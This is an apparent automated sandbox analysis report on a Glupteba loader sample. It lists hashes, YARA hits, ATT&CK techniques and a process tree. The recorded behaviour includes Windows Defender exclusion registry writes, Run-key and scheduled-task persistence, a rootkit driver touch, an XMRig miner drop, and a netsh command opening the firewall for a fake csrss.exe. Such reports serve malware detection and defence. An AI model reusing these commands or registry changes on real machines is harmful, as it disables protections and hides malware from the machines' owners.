glupteba | b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213

Analysis

max time kernel
284s
max time network
304s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
04/04/2024, 22:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Size

4.1MB
MD5

7bdb6e4cc2875484d72b2bbd0dcd6f0f
SHA1

fca9c33418350acab969a5e5dd50228a2df8faf4
SHA256

b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213
SHA512

159c8bea1e11881929bcae601ac727c03f973878b61460789649b2912a7bbddf38aec73205aeb7b9c4639973879523ee275838fa2ec2c8cde7ec298baf31879e
SSDEEP

98304:WcC+blXtpn5u4TvbpBnuWOsiPWAZCvDcFQ1X+B6d:bC+bl9HuuvbbnuWNCovAAX+B6d

Score

10^/10

glupteba xmrig dropper evasion loader miner persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 34 IoCs

resource	yara_rule
behavioral2/memory/2020-2-0x0000000002D70000-0x000000000365B000-memory.dmp	family_glupteba
behavioral2/memory/2020-3-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/2020-154-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/2020-299-0x0000000002D70000-0x000000000365B000-memory.dmp	family_glupteba
behavioral2/memory/2020-302-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/3740-570-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/3740-1044-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/3740-1048-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1064-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1313-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1790-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1809-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1817-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1819-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1821-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1823-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1825-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1827-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1829-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1831-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1833-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1835-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1837-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1839-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1841-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1843-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1845-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1847-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1849-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1851-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1853-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1855-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-1882-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/60-2244-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000700000001abf5-2121.dat	family_xmrig
behavioral2/files/0x000700000001abf5-2121.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3064	netsh.exe

Executes dropped EXE 4 IoCs

pid	Process
852	injector.exe
960	windefender.exe
1324	windefender.exe
4344	dcb505dc2b9d8aac05f4ca0727f5eadb.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001abf2-1812.dat	upx
behavioral2/memory/960-1816-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1324-1818-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1324-1822-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000b00000001ab99-2108.dat	upx
behavioral2/memory/4344-2122-0x0000000000400000-0x00000000008E1000-memory.dmp	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3998431567-3716957556-781226098-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3998431567-3716957556-781226098-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3004	sc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4300	schtasks.exe
4572	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-442 = "Arabian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2771 = "Omsk Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1412 = "Syria Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2392 = "Aleutian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-172 = "Central Standard Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	windefender.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-448 = "Azerbaijan Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-212 = "Pacific Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-731 = "Fiji Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2412 = "Marquesas Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-912 = "Mauritius Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1721 = "Libya Daylight Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-622 = "Korea Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-161 = "Central Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-291 = "Central European Daylight Time"	windefender.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3636	powershell.exe
3636	powershell.exe
3636	powershell.exe
2020	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
2020	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
4324	powershell.exe
4324	powershell.exe
4324	powershell.exe
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
2636	powershell.exe
2636	powershell.exe
2636	powershell.exe
4468	powershell.exe
4468	powershell.exe
4468	powershell.exe
4164	powershell.exe
4164	powershell.exe
4164	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
60	csrss.exe
60	csrss.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
60	csrss.exe
60	csrss.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
60	csrss.exe
60	csrss.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe
852	injector.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	3636	powershell.exe
Token: SeDebugPrivilege	2020	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Token: SeImpersonatePrivilege	2020	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	4468	powershell.exe
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeSystemEnvironmentPrivilege	60	csrss.exe
Token: SeSecurityPrivilege	3004	sc.exe
Token: SeSecurityPrivilege	3004	sc.exe
Token: SeDebugPrivilege	856	powershell.exe
Token: SeDebugPrivilege	4756	powershell.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 3636	2020	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe	74
PID 2020 wrote to memory of 3636	2020	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe	74
PID 2020 wrote to memory of 3636	2020	b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe	74
PID 1956 wrote to memory of 3064	1956	cmd.exe	83
PID 1956 wrote to memory of 3064	1956	cmd.exe	83
PID 60 wrote to memory of 4468	60	csrss.exe	89
PID 60 wrote to memory of 4468	60	csrss.exe	89
PID 60 wrote to memory of 4468	60	csrss.exe	89
PID 60 wrote to memory of 4164	60	csrss.exe	96
PID 60 wrote to memory of 4164	60	csrss.exe	96
PID 60 wrote to memory of 4164	60	csrss.exe	96
PID 60 wrote to memory of 3164	60	csrss.exe	98
PID 60 wrote to memory of 3164	60	csrss.exe	98
PID 60 wrote to memory of 3164	60	csrss.exe	98
PID 60 wrote to memory of 852	60	csrss.exe	100
PID 60 wrote to memory of 852	60	csrss.exe	100
PID 960 wrote to memory of 1892	960	windefender.exe	107
PID 960 wrote to memory of 1892	960	windefender.exe	107
PID 960 wrote to memory of 1892	960	windefender.exe	107
PID 1892 wrote to memory of 3004	1892	cmd.exe	108
PID 1892 wrote to memory of 3004	1892	cmd.exe	108
PID 1892 wrote to memory of 3004	1892	cmd.exe	108
PID 60 wrote to memory of 856	60	csrss.exe	111
PID 60 wrote to memory of 856	60	csrss.exe	111
PID 60 wrote to memory of 856	60	csrss.exe	111
PID 60 wrote to memory of 4344	60	csrss.exe	113
PID 60 wrote to memory of 4344	60	csrss.exe	113
PID 60 wrote to memory of 4344	60	csrss.exe	113
PID 60 wrote to memory of 4756	60	csrss.exe	115
PID 60 wrote to memory of 4756	60	csrss.exe	115
PID 60 wrote to memory of 4756	60	csrss.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
"C:\Users\Admin\AppData\Local\Temp\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3636
- C:\Users\Admin\AppData\Local\Temp\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe
  "C:\Users\Admin\AppData\Local\Temp\b647fb3fb535b289c6266e8655c6b36e391a1c8be70f1c570b485778b5c4e213.exe"
  2⤵
  - Windows security bypass
  - Windows security modification
  - Adds Run key to start application
  - Modifies data under HKEY_USERS
  PID:3740
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4324
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1956
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Modifies data under HKEY_USERS
      PID:3064
